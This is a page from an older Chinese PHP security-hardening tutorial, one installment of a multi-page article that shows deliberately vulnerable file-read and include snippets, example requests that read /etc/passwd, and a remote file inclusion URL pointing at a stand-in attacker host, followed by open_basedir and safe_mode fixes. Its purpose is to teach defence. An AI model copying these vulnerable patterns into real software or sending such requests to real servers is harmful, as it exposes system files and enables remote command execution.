加入收藏
联系我们
关于我们
 您现在的位置: 亿聪 >> 网络学院 >> 网络编程 >> PHP >> 正文  
  PHP安全配置       ★★★
PHP安全配置
[ 作者:san (san_at_xfocus.org)    转贴自:安全    点击数:25652    更新时间:2003/8/27    文章录入:亿聪 ]
<?
//test_2.php
if (!($str = readfile("$filename"))) {
 echo("Could not open file: $filename<BR>\n");
 exit;
}
else {
 echo $str;
}
?>


由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

<Directory /usr/local/apache/htdocs>
    php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>


重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect.

File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

<?
//test_3.php
if(file_exists($filename))
 include("$filename");
?>


这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

对于另外一种形式,如下代码片断:

上一页  [1] [2] [3] [4] [5] [6] [7] [8]  下一页

  • 上一篇文章: PHP应用提速面面观

  • 下一篇文章: 没有了
  • 发表评论】【告诉好友】【打印此文】【关闭窗口
     最新5篇热点文章
  • Knoppix 4.0.2 免硬盘免安…[15098]

  • 通过ASP记录进行分页[19287]

  • ASP开发准则[11237]

  • ASP组件指南[11208]

  • ASP指南[11222]

  •  
     最新5篇推荐文章
  • Knoppix 4.0.2 免硬盘免安…[15098]

  • 如何让Win 2003系统更加安…[12464]

  • Nero超刻简明教程[33945]

  • PS商业实战-来杯茶,行吗?…[7084]

  • ASP深度揭密(下)[12215]

  •  
     相 关 文 章
  • 防范内网遭受DoS攻击的预防…[4757]

  • PHP应用提速面面观[8207]

  • ASP提速技巧五则[4235]


  •   网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
        没有任何评论
    设为首页 | 加入收藏 | 关于我们 | 联系我们 | 友情链接 | 版权声明 | 管理登录
    Copyright © 2000-2022 Yicong.com.All Rights Reserved.
    亿聪 版权所有 E-mail: